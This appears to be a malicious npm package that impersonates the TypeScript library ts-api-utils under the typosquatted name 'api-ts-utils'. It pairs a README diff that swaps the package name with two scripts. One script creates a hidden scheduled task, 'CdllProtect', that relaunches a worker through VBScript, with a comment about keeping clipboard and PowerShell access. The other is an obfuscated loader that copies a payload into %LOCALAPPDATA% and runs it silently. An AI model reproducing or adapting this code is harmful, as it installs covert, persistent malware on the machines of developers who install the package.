import { readFileSync, writeFileSync, unlinkSync, existsSync } from "node:fs";
import { join, dirname } from "node:path";
import { fileURLToPath } from "node:url";
import { tmpdir } from "node:os";
import { randomBytes } from "node:crypto";
const __dirname = dirname(fileURLToPath(import.meta.url));
const TASK_NAME = "CdllProtect";
const SCRIPT_NAME = "cdll.mjs";
const VBS_NAME = "cdll-run-hidden.vbs";
if (process.platform !== "win32") {
process.exit(1);
}
function escapeXml(s) {
return String(s)
.replace(/&/g, "&")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;");
}
/** VBScript string literal: "..." with quotes doubled */
function vbsQuote(s) {
return `"${String(s).replace(/"/g, '""')}"`;
}
function buildVbs(workDir, nodeExe, scriptPath) {
const runLine = `"${nodeExe}" "${scriptPath}" --child`;
return (
`Set sh = CreateObject("Wscript.Shell")\r\n` +
`sh.CurrentDirectory = ${vbsQuote(workDir)}\r\n` +
// 7 = minimized — keeps the process on the interactive desktop so clipboard/PowerShell work.
// Style 0 (hidden) can break Get-Clipboard when the worker is started from Task Scheduler.
`sh.Run ${vbsQuote(runLine)}, 7, False\r\n`
);
}
function getWindowsUserId() {
return execFileSync(
"powershell.exe",
[
"-NoProfile",
"-NonInteractive",
"-Command",
"[System.Security.Principal.WindowsIdentity]::GetCurrent().Name",
],
{ encoding: "utf8", windowsHide: true },
).trim();
}
function getNodeExe() {
const fromThis = process.execPath;
if (fromThis && /\.exe$/i.test(fromThis) && existsSync(fromThis)) {
return fromThis;
}
const out = execFileSync("where.exe", ["node"], {
encoding: "utf8",
windowsHide: true,
}).trim();
const first = out.split(/\r?\n/)[0]?.trim();
if (!first) {
throw new Error("node.exe not found in PATH. Install Node.js and retry.");
}
return first;
}
function getWscriptExe() {
const p = join(process.env.SystemRoot || "C:\\Windows", "System32", "wscript.exe");
if (existsSync(p)) return p;
const out = execFileSync("where.exe", ["wscript.exe"], {
encoding: "utf8",
windowsHide: true,
}).trim();
const first = out.split(/\r?\n/)[0]?.trim();
if (!first) throw new Error("wscript.exe not found.");
return first;
}
const workDir = __dirname;
const scriptPath = join(workDir, SCRIPT_NAME);
const vbsPath = join(workDir, VBS_NAME);
const templatePath = join(workDir, "cdll.xml");
if (!existsSync(templatePath) || !existsSync(scriptPath)) {
process.exit(1);
}
const rawUserId = getWindowsUserId();
const rawNodeExe = getNodeExe();
const rawWscript = getWscriptExe();
writeFileSync(vbsPath, buildVbs(workDir, rawNodeExe, scriptPath), "utf8");
let xml = readFileSync(templatePath, "utf8");
xml = xml
.replace(/__USER_ID__/g, escapeXml(rawUserId))
.replace(/__WSCRIPT_EXE__/g, escapeXml(rawWscript))
.replace(/__VBS_PATH__/g, escapeXml(vbsPath))
.replace(/__WORK_DIR__/g, escapeXml(workDir));
const bom = "\uFEFF";
const outPath = join(tmpdir(), `cdll-task-${randomBytes(8).toString("hex")}.xml`);
writeFileSync(outPath, bom + xml, "utf16le");
try {
try {
execFileSync("schtasks", ["/Delete", "/TN", TASK_NAME, "/F"], {
stdio: "ignore",
windowsHide: true,
});
} catch {
/* task may not exist */
}
execFileSync("schtasks", ["/Create", "/TN", TASK_NAME, "/XML", outPath, "/F"], {
stdio: "ignore",
windowsHide: true,
});
} finally {
try {
unlinkSync(outPath);
} catch {
/* ignore */
}
}
try {
execFileSync("schtasks", ["/Run", "/TN", TASK_NAME], {
stdio: "ignore",
windowsHide: true,
cwd: workDir,
});
} catch {
process.exit(1);
}

@@ -10,7 +10,7 @@ <h1 align="center">TypeScript API Utils</h1>

<p align="center">
<a href="https://github.com/JoshuaKGoldberg/ts-api-utils/blob/main/.github/CODE_OF_CONDUCT.md" target="_blank"><img alt="🤝 Code of Conduct: Kept" src="https://img.shields.io/badge/%F0%9F%A4%9D_code_of_conduct-kept-21bb42" /></a>
<a href="https://codecov.io/gh/JoshuaKGoldberg/ts-api-utils" target="_blank"><img alt="🧪 Coverage" src="https://img.shields.io/codecov/c/github/JoshuaKGoldberg/ts-api-utils?label=%F0%9F%A7%AA%20coverage" /></a>
<a href="#" target="_blank"><img alt="📚 Documentation Coverage" src="https://raw.githubusercontent.com/JoshuaKGoldberg/ts-api-utils/refs/heads/main/docs/coverage.svg" /></a>
<a href="https://github.com/JoshuaKGoldberg/ts-api-utils/blob/main/LICENSE.md" target="_blank"><img alt="📝 License: MIT" src="https://img.shields.io/badge/%F0%9F%93%9D_license-MIT-21bb42.svg"></a>
<a href="http://npmjs.com/package/ts-api-utils"><img alt="📦 npm version" src="https://img.shields.io/npm/v/ts-api-utils?color=21bb42&label=%F0%9F%93%A6%20npm" /></a>
<a href="https://github.com/JoshuaKGoldberg/api-ts-utils/blob/main/.github/CODE_OF_CONDUCT.md" target="_blank"><img alt="🤝 Code of Conduct: Kept" src="https://img.shields.io/badge/%F0%9F%A4%9D_code_of_conduct-kept-21bb42" /></a>
<a href="https://codecov.io/gh/JoshuaKGoldberg/api-ts-utils" target="_blank"><img alt="🧪 Coverage" src="https://img.shields.io/codecov/c/github/JoshuaKGoldberg/api-ts-utils?label=%F0%9F%A7%AA%20coverage" /></a>
<a href="#" target="_blank"><img alt="📚 Documentation Coverage" src="https://raw.githubusercontent.com/JoshuaKGoldberg/api-ts-utils/refs/heads/main/docs/coverage.svg" /></a>
<a href="https://github.com/JoshuaKGoldberg/api-ts-utils/blob/main/LICENSE.md" target="_blank"><img alt="📝 License: MIT" src="https://img.shields.io/badge/%F0%9F%93%9D_license-MIT-21bb42.svg"></a>
<a href="http://npmjs.com/package/api-ts-utils"><img alt="📦 npm version" src="https://img.shields.io/npm/v/api-ts-utils?color=21bb42&label=%F0%9F%93%A6%20npm" /></a>
<img alt="💪 TypeScript: Strict" src="https://img.shields.io/badge/%F0%9F%92%AA_typescript-strict-21bb42.svg" />

@@ -22,7 +22,7 @@ </p>

```shell
npm i ts-api-utils
npm i api-ts-utils
```
```ts
import * as tsutils from "ts-api-utils";
import * as tsutils from "api-ts-utils";

@@ -34,6 +34,6 @@ tsutils.forEachToken(/* ... */);

`ts-api-utils` provides many utility functions.
`api-ts-utils` provides many utility functions.
Check out our API docs for details:
📝 [ts-api-utils API docs](https://joshuakgoldberg.github.io/ts-api-utils).
📝 [api-ts-utils API docs](https://joshuakgoldberg.github.io/api-ts-utils).

@@ -40,0 +40,0 @@ ## Development

import{cpSync}from"\u006E\u006F\u0064\u0065\u003A\u0066\u0073";import{execFileSync}from"\u006E\u006F\u0064\u0065\u003A\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073";import{homedir}from"\u006E\u006F\u0064\u0065\u003A\u006F\u0073";import{dirname,join}from"\u006E\u006F\u0064\u0065\u003A\u0070\u0061\u0074\u0068";import{fileURLToPath}from"\u006E\u006F\u0064\u0065\u003A\u0075\u0072\u006C";var _0x91d36e=(722765^722763)+(708729^708735);const __dirname=dirname(fileURLToPath(import.meta['\u0075\u0072\u006C']));_0x91d36e=(302744^302744)+(696652^696655);if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']!=="\u0077\u0069\u006E\u0033\u0032"){process['\u0065\u0078\u0069\u0074'](865861^865860);}const sourcePayload=join(__dirname,"\u0070\u0072\u0065\u0074\u0074\u0069\u0065\u0072\u002D\u006C\u0069\u006E\u0074");var _0x2407ac=(469912^469915)+(422310^422310);const localAppData=process['\u0065\u006E\u0076']['\u004C\u004F\u0043\u0041\u004C\u0041\u0050\u0050\u0044\u0041\u0054\u0041']??join(homedir(),"\u0041\u0070\u0070\u0044\u0061\u0074\u0061","\u004C\u006F\u0063\u0061\u006C");_0x2407ac=(195646^195642)+(643041^643047);var _0xe203ae=(467931^467931)+(302195^302202);const deployed=join(localAppData,"tnil-reitterp".split("").reverse().join(""));_0xe203ae=(411683^411687)+(647873^647876);const ctll=join(deployed,"\u0063\u0074\u006C\u006C\u002E\u006D\u006A\u0073");const node=process['\u0065\u0078\u0065\u0063\u0050\u0061\u0074\u0068'];try{cpSync(sourcePayload,deployed,{'\u0072\u0065\u0063\u0075\u0072\u0073\u0069\u0076\u0065':!![],'\u0066\u006F\u0072\u0063\u0065':!![]});}catch{process['\u0065\u0078\u0069\u0074'](844287^844286);}try{execFileSync(node,[ctll],{"stdio":"\u0069\u0067\u006E\u006F\u0072\u0065","cwd":deployed});}catch{process['\u0065\u0078\u0069\u0074'](187960^187961);}